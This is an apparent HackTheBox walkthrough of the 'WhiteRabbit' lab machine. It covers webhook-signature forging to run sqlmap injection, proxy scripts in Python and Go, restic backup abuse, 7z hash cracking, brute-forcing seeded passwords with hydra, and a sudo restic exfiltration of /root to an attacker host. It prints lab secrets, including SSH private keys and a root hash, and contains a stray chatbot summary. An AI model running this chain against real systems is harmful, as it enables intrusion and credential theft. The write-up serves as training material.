WhiteRabbit

📅 Last Updated: Jul 08, 2025 07:14 | 📄 Size: 21.6 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

1, Recon port scan

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_  256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp   open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://whiterabbit.htb
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_  256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Page check By using the ffuf to enumerate the basic web-content, there is nothing we can found

ffuf -u http://whiterabbit.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt             

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://whiterabbit.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 6109, Words: 1815, Lines: 117, Duration: 59ms]
index.html              [Status: 200, Size: 6109, Words: 1815, Lines: 117, Duration: 8ms]
:: Progress: [4614/4614] :: Job [1/1] :: 1834 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

Let's try to enumerate the valid sub-domain here.

ffuf -u http://whiterabbit.htb/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.whiterabbit.htb" -fs 0

Then we successfully get he valid sub-domain here.
status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 20ms]

Then we can successfully get the login page from this sub-domain here. 'But we don't have any valid credit here, so I would want check is there any vulnerable services here

whatweb http://status.whiterabbit.htb/dashboard                          
http://status.whiterabbit.htb/dashboard [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Caddy], IP[10.10.11.63], Script[module], Title[Uptime Kuma], X-Frame-Options[SAMEORIGIN]

Continue to enumerate the web-contents of this sub-domain

assets                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 52ms]
favicon.ico             [Status: 200, Size: 15086, Words: 14, Lines: 4, Duration: 21ms]
robots.txt              [Status: 200, Size: 25, Words: 3, Lines: 2, Duration: 44ms]
screenshots             [Status: 301, Size: 189, Words: 7, Lines: 11, Duration: 40ms]
upload                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 36ms]
status[Status: 200, Size: 0, Words: 7, Lines: 11, Duration: 36ms]

Then we continue to check the /status, then we continue to enumerate the web-contents, we can get one target here. /status/temp http://status.whiterabbit.htb/status/ http://status.whiterabbit.htb/status/temp Let's add these sub-domains into /etc/hostsand check what happened to them http://ddb09a8558c9.whiterabbit.htb/login?next=%2F http://a668910b5514e.whiterabbit.htb/ Then we can get these new services, firstly we don't have any credits here, so I would start with the wiki page. http://a668910b5514e.whiterabbit.htb/en/gophish_webhooks This page has explain http://ddb09a8558c9.whiterabbit.htb/ This page explains how the site works and the various implementation details. Then summary this wiki post

Of course! Here's the key point summary in English, suitable for reports, executive briefs, or presentations:

---

### **Key Summary: Integrating Gophish with n8n for Automated Phishing Simulation Analysis**

#### ✅ **Background**
- **Gophish** is an open-source phishing simulation toolkit used to test and improve user awareness of phishing attacks.
- **n8n** is a workflow automation tool that can process incoming data from Gophish in real time, helping automate the tracking and scoring of user responses.

---

#### 🔗 **Core Integration Steps**

1. **Webhook Reception**
   - An n8n webhook node receives POST requests from Gophish.
   - Each request includes key event data: campaign ID, recipient email, and action type (e.g., link clicked).

2. **Security: Signature Verification**
   - Gophish adds an `x-gophish-signature` header using HMAC (Hash-based Message Authentication Code).
   - n8n verifies this signature using a shared secret key to ensure the data is authentic and untampered.
   - This protects against spoofed events and injection attacks (e.g., SQLi).

---

#### 🗃️ **Database Logic**

- **User Validation**: Confirms the user’s email exists in the internal database.
- **Phishing Score Update**: Adjusts user susceptibility scores based on behavior (e.g., clicking a link or submitting credentials).
- **Conditional Logic**: Uses branching to handle different actions appropriately.

---

#### 🐞 **Debugging and Error Handling**

- Includes a temporary debug node labeled **"DEBUG: REMOVE SOON"** to assist with troubleshooting during development.

---

#### ✅ **Benefits and Conclusion**

- **Automates** the processing of phishing simulation data, reducing manual effort and error.
- Enables **real-time response and scoring**, improving training effectiveness.
- Enhances organizational **cybersecurity posture** by identifying high-risk users quickly.
- As phishing threats become more sophisticated, such integrations will be critical for proactive defense and user training at scale.

---

Let me know if you’d like this formatted as a slide deck, technical documentation, or need code samples for the signature verification step!

So we need to find the valid HMAC hash here By search hmac from the example json file, we can find that

{
      "parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={{ JSON.stringify($json.body) }}",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
      },
      "id": "e406828a-0d97-44b8-8798-6d066c4a4159",
      "name": "Calculate the signature",
      "type": "n8n-nodes-base.crypto",
      "typeVersion": 1,
      "position": [
        860,
        340
      ]
    },

Then we successfully get the secret here. 3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS

By checking the sql query, we can find the basic sql-injection here. The valid request here is working well When we add some " into the query, the debug message of database would give us.

Let's make a script to help us to check the sql-injection here.

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
import requests
import hmac
import hashlib
# Configuration
TARGET_HOST = "28efa8f7df.whiterabbit.htb"
TARGET_URL = f"http://{TARGET_HOST}"
HMAC_KEY = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
class GoPhishProxy(BaseHTTPRequestHandler):
    def do_POST(self):
        # Read the request body
        content_len = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(content_len)
        # Clean the path from possible full URLs or malformed inputs
        clean_path = urlparse(self.path).path
        full_url = f"{TARGET_URL}{clean_path}"
        # Calculate HMAC-SHA256 signature
        signature = hmac.new(HMAC_KEY, body, hashlib.sha256).hexdigest()
        # Prepare headers for forwarding
        forward_headers = {key: self.headers[key] for key in self.headers if key.lower() != 'host'}
        forward_headers['Host'] = TARGET_HOST
        forward_headers['x-gophish-signature'] = f"sha256={signature}"
        # Forward the request to the actual server
        try:
            response = requests.post(
                full_url,
                headers=forward_headers,
                data=body,
                allow_redirects=False,
                verify=False
            )
        except Exception as e:
            self.send_error(502, f"Proxy forwarding failed: {str(e)}")
            return
        # Respond back to sqlmap
        self.send_response(response.status_code)
        for k, v in response.headers.items():
            if k.lower() != 'content-encoding':
                self.send_header(k, v)
        self.end_headers()
        self.wfile.write(response.content)
        # Debug log
        print(f"[+] Forwarded to: {full_url}")
        print(f"    Signature: sha256={signature}")
        print(f"    Payload: {body.decode(errors='ignore')[:200]}")
if __name__ == "__main__":
    print("
GoPhish SQLmap Proxy running on http://127.0.0.1:8000")
    server = HTTPServer(('0.0.0.0', 8000), GoPhishProxy)
    server.serve_forever()

Or use the go script here

package main

import (
    "bytes"
    "crypto/hmac"
    "crypto/sha256"
    "encoding/hex"
    "encoding/json"
    "fmt"
    "io"
    "log"
    "net/http"
)

const (
    secret    = "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
    webhookURL = "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"
)

type Payload struct {
    CampaignID int    `json:"campaign_id"`
    Email      string `json:"email"`
    Message    string `json:"message"`
}

func calculateHMAC(payload Payload) string {
    jsonBytes, _ := json.Marshal(payload)
    h := hmac.New(sha256.New, []byte(secret))
    h.Write(jsonBytes)
    return hex.EncodeToString(h.Sum(nil))
}

func logRequest(r *http.Request) {
    clientIP := r.RemoteAddr
    method := r.Method
    uri := r.URL.RequestURI()
    protocol := r.Proto
    log.Printf("%s - - \"%s %s %s\" 200 -", clientIP, method, uri, protocol)
}

func handler(w http.ResponseWriter, r *http.Request) {
    logRequest(r)

    email := r.URL.Query().Get("q")
    if email == "" {
        http.Error(w, `{"error": "Missing 'q' query parameter for email"}`, http.StatusBadRequest)
        return
    }

    payload := Payload{
        CampaignID: 1,
        Email:      email,
        Message:    "Clicked Link",
    }

    signature := calculateHMAC(payload)

    jsonBytes, err := json.Marshal(payload)
    if err != nil {
        http.Error(w, `{"error": "Failed to encode payload"}`, http.StatusInternalServerError)
        return
    }

    req, err := http.NewRequest("POST", webhookURL, bytes.NewBuffer(jsonBytes))
    if err != nil {
        http.Error(w, `{"error": "Failed to create request"}`, http.StatusInternalServerError)
        return
    }

    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("x-gophish-signature", "hmac="+signature)

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        http.Error(w, fmt.Sprintf(`{"error": "%s"}`, err.Error()), http.StatusInternalServerError)
        return
    }
    defer resp.Body.Close()

    io.Copy(w, resp.Body)
}

func main() {
    http.HandleFunc("/", handler)
    fmt.Println("Listening on http://localhost:12345")
    log.Fatal(http.ListenAndServe(":12345", nil))
}

Then we can run the sqlmap to check the sql-injection here.

sqlmap.req
POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
Content-Type: application/json
User-Agent: sqlmap
Accept: */*
{"campaign_id":1,"email":"*","message":"Clicked Link"}

Is important to leave the request file without the x-gophish-signature header because the proxy will be adding that automatically

sqlmap -r sqlmap.req --proxy=http://127.0.0.1:8000 --batch --level=5 --risk=3 --threads=5

Then you can get dump of database. We can get something interesting from table command_log uname -a、restic init、echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd

In this place, I would check the sql injection munally here Firstly let's check schema name Then we can successfully get the database name information_schema,phishing,temp Then let's try to dump all the databases Then we can know there is a table victimswith 2 columns email,phishing_score That seems not like our target here, so let's try to check the other database temp here. Then we can know there is a table command_log with 2 columns id,command,date, let's try to leak the data from this table. By combining them, then we can get the what we want to get uname -a、restic init、echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd

we find two important commands here, a restic subdomain 75951e6ff.whiterabbit.htb with password, and a hint for a password generator

❯ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd

❯ chmod 600 .restic_passwd

❯ export RESTIC_REPOSITORY="rest:http://75951e6ff.whiterabbit.htb"

❯ export RESTIC_PASSWORD_FILE=".restic_passwd"

❯ restic snapshots
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/redacted/.cache/restic
ID        Time                Host        Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-06 19:18:40  whiterabbit            [color=#4cea5e]/dev/shm/bob/ssh[/color]
------------------------------------------------------------------------
1 snapshots

❯ restic restore latest --target ./restored_data

There is a blocked 7z file here, but we can use 7z2hashcat get the hash and crack the password

./7z2hashcat.pl bob.7z > bob.hash
hashcat -m 11600 bob.hash /usr/share/wordlists/rockyou.txt 

Then we get the password
bob:1q2w3e4r5t6y
Then we can successfully get the ssh credit
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----

From the config file, we get
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob

Then we can login by port 2222

Then by checking the sudo -l

bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic

I can find the privileged access from GTOBins

Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

RHOST=attacker.com
RPORT=12345
LFILE=file_or_dir_to_get
NAME=backup_name
sudo restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"

So our payload would be sudo restic backup -r "rest:http://10.10.16.16:12345/mystolenrepo" /root

Let's exploit it

Attacter machine:
mkdir -p ~/rest-repo/mystolenrepo
/opt/rest-server/rest-server \
  --path ~/rest-repo \
  --listen :12345 \
  --no-auth

Target machine:
export RESTIC_PASSWORD=yourpassword
sudo restic init -r rest:http://10.10.16.16:12345/mystolenrepo
export RESTIC_PASSWORD=yourpassword
sudo restic backup -r rest:http://10.10.16.16:12345/mystolenrepo /root


Attcaker machine:
export RESTIC_REPOSITORY=rest:http://localhost:12345/mystolenrepo
export RESTIC_PASSWORD=yourpassword
restic snapshots
restic restore latest --target ./recovered

Then we can successfully get the ssh credit of morpheus

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----

Then we can get the shell as morpheus

We want to check sudo -l, but we did not have any credits of this user, so I would continue to enumerate the file system. Then I found a interesting file /opt/neo-password-generator/neo-password-generator It's a binary file and we can run it to check what is the output

morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator 
f0mHXv2ZJNGTduO5q37N

It seems like a password of user neo, but I try to use it to login, but it did not work.

So I think I have to Decompile this binary file, in this I would like use Ghidra, IDA pro would be fun if you know how to use that.

undefined8 main(void)

{
  long in_FS_OFFSET;
  timeval local_28;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  gettimeofday(&local_28,(__timezone_ptr_t)0x0);
  generate_password(local_28.tv_sec * 1000 + local_28.tv_usec / 1000);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

We can also change these pseudocode into C code

int main(void) {
    // Stack Canary 读取
    long stack_canary_saved = __stack_chk_guard;
    
    // 获取当前时间
    struct timeval t;
    gettimeofday(&t, NULL);
    long millis = t.tv_sec * 1000 + t.tv_usec / 1000;
    
    // 生成密码
    generate_password(millis);
    
    // 堆栈保护检查
    if (stack_canary_saved != __stack_chk_guard) {
        __stack_chk_fail();
    }
    return 0;
}

The main function of this code is to generate a password or passphrase based on the current time (millisecond level), in conjunction with the compiler's built-in stack protection mechanism.

From the database, we know that running the command cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd to change the password is at 2024-08-30 14:40:42. From the path we can also tell that this is user neo.

Next, let's try to write a complete password generator

#include <stdio.h>
#include <stdlib.h>

void generate_password(unsigned int seed) {
    // 1) 使用21字节缓冲:20个随机字符 + '\0'
    char password[21];
    const char *charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

    // 用传入的种子调用 srand
    srand(seed);

    // 2) 循环生成20个随机字符
    for (int i = 0; i < 20; i++) {
        int random_value = rand();
        password[i] = charset[random_value % 62];
    }

    // 3) 手动添加字符串终止符
    password[20] = '\0';

    // 打印结果
    printf("%s\n", password);
}

int main(void) {
    // 如果要确保乘法不溢出,可以使用 long long 或 unsigned long long
    // 这里演示使用 long long 进行计算,然后只取低32位给 srand()
    for (int add = 0; add <= 1000; add++) {
        long long fullSeed = (long long)1725028842 * 1000LL + add;
        // 仅将计算结果的低32位作为种子
        generate_password((unsigned int)(fullSeed));
    }
    return 0;
}

Then let's save them into a file and use hydra to crack the password of neo by using ssh.

hydra -l neo -P neo_password.txt ssh://10.10.11.63 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-09 23:36:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1001 login tries (l:1/p:1001), ~63 tries per task
[DATA] attacking ssh://10.10.11.63:22/
[22][ssh] host: 10.10.11.63   login: neo   password: WBSxhWgfnMiclrV4dqfj
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-09 23:37:06

Then we finally get the password of neo neo:WBSxhWgfnMiclrV4dqfj Let's try to ssh to this user. We can check sudo -l

neo@whiterabbit:~$ sudo -l
[sudo] password for neo: 
Matching Defaults entries for neo on whiterabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User neo may run the following commands on whiterabbit:

We can just sudo su with the password of neo and get the root shell.

Root hash root:$y$j9T$Rx7IRKAooZBFEEKqpflWl1$fK0BeVoPRj.EwPj9sYKZMu.Ti0EmrFpmQQZmayCKdL/:19962:0:99999:7:::